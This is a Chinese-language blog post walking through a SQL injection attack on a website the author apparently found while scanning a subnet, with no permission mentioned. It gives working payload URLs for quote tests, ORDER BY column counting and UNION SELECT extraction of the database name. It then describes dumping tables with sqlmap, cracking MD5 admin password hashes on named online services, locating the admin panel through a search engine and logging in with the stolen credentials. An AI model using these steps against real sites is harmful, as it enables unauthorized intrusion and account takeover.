1. 程式人生 > 其它 >簡單的注入漏洞挖掘實戰

簡單的注入漏洞挖掘實戰

起因:

前幾天在對某一個站點進行資訊蒐集的時候,在C段(同網段如192.168.1-255中所有ip)的資訊裡面發現了某一個站點,當時看見了:

url:http://www.xxx..com/class.php?id=104

忍不住加了一個單引號來測試是否存在注入漏洞。

 

加了單引號之後沒有返回資訊,果不其然,存在注入漏洞

 

 

 

正常的報錯注入流程一般都是:

先判斷注入點、注入點閉合、列數判斷、得到庫資訊、表資訊、欄位資訊,最後再對欄位資訊進行解密可以得到管理員的賬號和密碼。

測試注入點

1. 首先是測試注入點在哪,這個是正常介面下返回的資訊,一切正常

http://www.xxx..com/class.php?id=104

 

 

 

2. 常見的閉合方法測試

http://www.xxx..com/class.php?id=104’--+

http://www.xxx..com/class.php?id=104” --+

http://www.xxx..com/class.php?id=104’) --+

這些經過測試發現均返回錯誤頁面,也就證明閉合失敗,無法成功閉合

 

 

 

 

如果不想那麼複雜的話,是不是好點?直接用order by語句判斷列數

過程如下:

http://www.xxx.com/list.php?id=104 order by 30 --+ 返回介面異常
http://www.xxx.com/list.php?id=104 order by 15 --+ 返回介面正常
http://www.xxx.com/list.php?id=104 order by 20 --+ 返回介面異常
。。。。
最後通過簡單的二分法測試得到當order by 22 --+ 的時候返回是正常的,因此存在22列。

 

 

 

 

既然知道了存在22列,使用hackbar中的聯合注入工具來判斷報錯注入可回顯注入的點。

http://www.xxx.com/list.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 --+

 

判斷出了16的位置是可以回顯報錯資料的,因此可以使用16這個位置來獲取所需要的資料。

 

 

首先獲取當前的資料庫資訊,獲取到當前使用資料庫名xxxw_cn

http://www.xxx.com/list.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,

15,database(),17,18,19,20,21,22 --+

 

 接下來使用同樣的手段去獲得表和欄位資訊,在這裡不再進行贅述。

 

sqlmap

不是所有的注入都是適合手動去做的,這裡還是用sqlmap。

首先是payload

 

 獲取庫中的表資訊

 

 獲取庫中的表資訊

 

 

獲取表中的欄位資訊,獲取欄位資訊之後將password在md5解密平臺進行解密,常見的md5解密平臺有

  • https://cmd5.com/(需要註冊,功能強大,難度較大的需要收費解密)
  • https://www.somd5.com/(免費)
  • https://pmd5.com/(免費)
  •  

     後臺的查詢上,直接在域名後面加admin是無法跳轉到後臺的。

  •  

     這裡有一個小技巧,直接使用搜索引擎去搜索,針不戳,直接就找到了

 

 直接使用使用者的資料登入後臺